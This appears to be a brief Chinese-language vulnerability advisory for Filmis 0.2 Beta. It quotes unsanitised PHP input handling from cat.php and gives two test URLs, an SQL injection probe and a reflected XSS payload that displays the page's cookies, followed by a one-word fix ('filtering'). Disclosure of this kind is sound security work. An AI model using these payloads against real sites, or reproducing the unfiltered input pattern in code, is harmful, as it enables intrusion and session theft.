标题: Filmis - Version 0.2 Beta SQL Injection and XSS Vulnerabilities 

作者: M.Jock3R  www.2cto.com

下载地址: http://mohshow.fr.cr/forum/downloads/filmis-0.2beta.zip 

测试平台: windows XP Sp2 FR 

缺陷文件: cat.php 

缺陷代码: 

$idcat = $_GET['id']; 

$nbitemparpage= "28"; 

if(@$_GET['nb']=="") { $nb = "1"; } else { $nb = $_GET['nb']; } 

 $nbd = ceil(($nb -1) * $nbitemparpage); 

 $amem = mysql_query("SELECT * FROM ".$prefix."film"); 

 

 测试：

 1/SQL注射: 

 

http://www.2cto.com /filmis/cat.php?nb=-1' 

2/XSS : 

http://www.2cto.com /filmis/cat.php?nb=1><script>alert(document.cookie)</script> 

 

 致谢

adelsbm / attiadona  / Wprojects.tk 

 

   修复：过滤